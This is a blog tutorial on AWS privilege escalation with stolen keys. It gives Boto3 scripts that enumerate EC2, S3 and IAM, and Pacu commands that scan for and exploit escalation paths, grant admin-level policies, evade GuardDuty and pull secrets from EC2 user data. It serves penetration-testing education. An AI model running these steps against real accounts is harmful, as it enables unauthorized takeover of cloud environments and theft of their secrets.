AWS Penetration Testing Part - 2: Privilege Escalation Using Stolen Keys

March 17, 2025
AWS SecurityPentestingS3 Bucket

Privilege Escalation in AWS Using Stolen Keys, Boto3, and Pacu

In the context of offensive cloud security, the ability to escalate privileges using compromised AWS credentials is a powerful and dangerous tactic. In this blog post, we’ll explore how attackers can leverage tools such as Boto3, Pacu, and AWS's API to identify and exploit permission misconfigurations within AWS environments.

πŸ” Why Enumerate Permissions?

Knowing exactly what a compromised user can access helps attackers

  • Avoid noisy trial and error API calls (which generate logs and alerts).
  • Identify sensitive resources, misconfigured IAM policies, and lateral movement opportunities.
  • Compare current permissions against known privilege escalation paths.

πŸ”§ Boto3 for AWS API Reconnaissance

Boto3 is the official AWS SDK for Python. It enables programmatic interaction with AWS services.

βœ… Installing Boto3

1pip3 install boto3

πŸ” Session and Client Setup

1import boto3
2session = boto3.session.Session(profile_name='Test', region_name='us-west-2')
3client = session.client('ec2')

πŸ–₯️ EC2 Enumeration

1response = client.describe_instances(MaxResults=1000)
2instances = []
3for reservation in response['Reservations']:
4  if reservation.get('Instances'):
5      instances.extend(reservation['Instances'])

Handle pagination

1while response.get('NextToken'):
2  response = client.describe_instances(MaxResults=1000, NextToken=response['NextToken'])
3  for reservation in response['Reservations']:
4      if reservation.get('Instances'):
5          instances.extend(reservation['Instances'])

Save the data

1import json
2with open('./ec2-instances.json', 'w+') as f:
3  json.dump(instances, f, indent=4, default=str)

πŸͺ£ S3 Bucket Enumeration

1client = session.client('s3')
2bucket_names = []
3response = client.list_buckets()
4for bucket in response['Buckets']:
5  bucket_names.append(bucket['Name'])
6
7bucket_objects = {}
8for bucket in bucket_names:
9  response = client.list_objects_v2(Bucket=bucket, MaxKeys=1000)
10  bucket_objects[bucket] = response['Contents']
11  while response['IsTruncated']:
12     response = client.list_objects_v2(Bucket=bucket, MaxKeys=1000, ContinuationToken=response['NextContinuationToken'])
13     bucket_objects[bucket].extend(response['Contents'])
14
15for bucket in bucket_names:
16   with open('./{}.txt'.format(bucket), 'w+') as f:
17      for bucket_object in bucket_objects[bucket]:
18         f.write('{} ({} bytes)\n'.format(bucket_object['Key'], bucket_object['Size']))

πŸ” IAM Permission Enumeration

1import boto3
2import json
3
4session = boto3.session.Session(profile_name='Test', region_name='uswest-2')
5client = session.client('iam')
6
7user_details = []
8group_details = []
9role_details = []
10policy_details = []
11
12response = client.get_account_authorization_details()
13
14if response.get('UserDetailList'):
15  user_details.extend(response['UserDetailList'])
16if response.get('GroupDetailList'):
17  group_details.extend(response['GroupDetailList'])
18if response.get('RoleDetailList'):
19  role_details.extend(response['RoleDetailList'])
20if response.get('Policies'):
21  policy_details.extend(response['Policies'])
22
23while response['IsTruncated']:
24  response = client.get_account_authorization_details(Marker=response['Marker'])
25  if response.get('UserDetailList'):
26        user_details.extend(response['UserDetailList'])
27  if response.get('GroupDetailList'):
28       group_details.extend(response['GroupDetailList'])
29  if response.get('RoleDetailList'):
30       role_details.extend(response['RoleDetailList'])
31  if response.get('Policies'):
32      policy_details.extend(response['Policies'])
33
34with open('./users.json', 'w+') as f:
35  json.dump(user_details, f, indent=4, default=str)
36with open('./groups.json', 'w+') as f:
37  json.dump(group_details, f, indent=4, default=str)
38with open('./roles.json', 'w+') as f:
39  json.dump(role_details, f, indent=4, default=str)
40with open('./policies.json', 'w+') as f:
41  json.dump(policy_details, f, indent=4, default=str)

πŸš€ Pacu: AWS Exploitation Toolkit for Pentesters

Pacu is an open source AWS exploitation framework developed by Rhino Security Labs. It enables penetration testers and red teamers to identify misconfigurations, escalate privileges, and exfiltrate data from vulnerable AWS environments.

πŸ›  Installation

To install Pacu on Kali Linux

1sudo apt install git
2git clone https://github.com/RhinoSecurityLabs/pacu.git
3cd pacu
4bash install.sh

Start Pacu

1python3 pacu.py

Pacu creates a session similar to a project folder which stores logs, results, and AWS credentials in a local SQLite DB.

πŸ” Avoiding Detection

When using Kali Linux, Pacu automatically modifies its user-agent to evade AWS GuardDuty alerts which can flag traffic from Kali based agents.

πŸ”‘ Import AWS Credentials

If you already configured AWS CLI profiles

1import_keys Test

Use whoami to verify identity and loaded permissions.

πŸ” Enumerating IAM Permissions

Run

1run iam__enum_permissions

This will gather all attached inline and managed IAM policies and output the user’s permissions, resource access, and any conditional constraints.

πŸ”“ Privilege Escalation

Run the escalation scanner

1run iam__privesc_scan

Pacu will test 21 known AWS privilege escalation vectors. If vulnerable, it may attach an admin level inline policy such as:

1{
2"Version": "2012-10-17",
3"Statement": [{ "Effect": "Allow", "Action": "*", "Resource": "*" }]
4}

🧠 Post Exploitation & CLI Mode

After privilege escalation, you can use Pacu’s built in AWS CLI emulation to run AWS commands:

1aws guardduty list-detectors --profile Test --region us-west-2

🧰 Useful Modules to Explore

Module NamePurpose
ec2__enumList EC2 instances
ec2__download_userdataExtract EC2 instance user data
aws__enum_accountGet AWS account details
aws__enum_spendCheck AWS billing activity
detection__enum_servicesDetect monitoring services (CloudTrail, GuardDuty, etc)

πŸ“¦ Secrets in EC2 User Data

With

1run ec2__download_userdata

You can automatically fetch EC2 user data, often misused to store hardcoded secrets like API keys or tokens.

🧠 Wrap Up

Pacu makes privilege escalation and AWS attack surface enumeration simple and scriptable. It combines multiple modules and detection evasion into one CLI, perfect for red teamers and auditors.

πŸ“š Learn More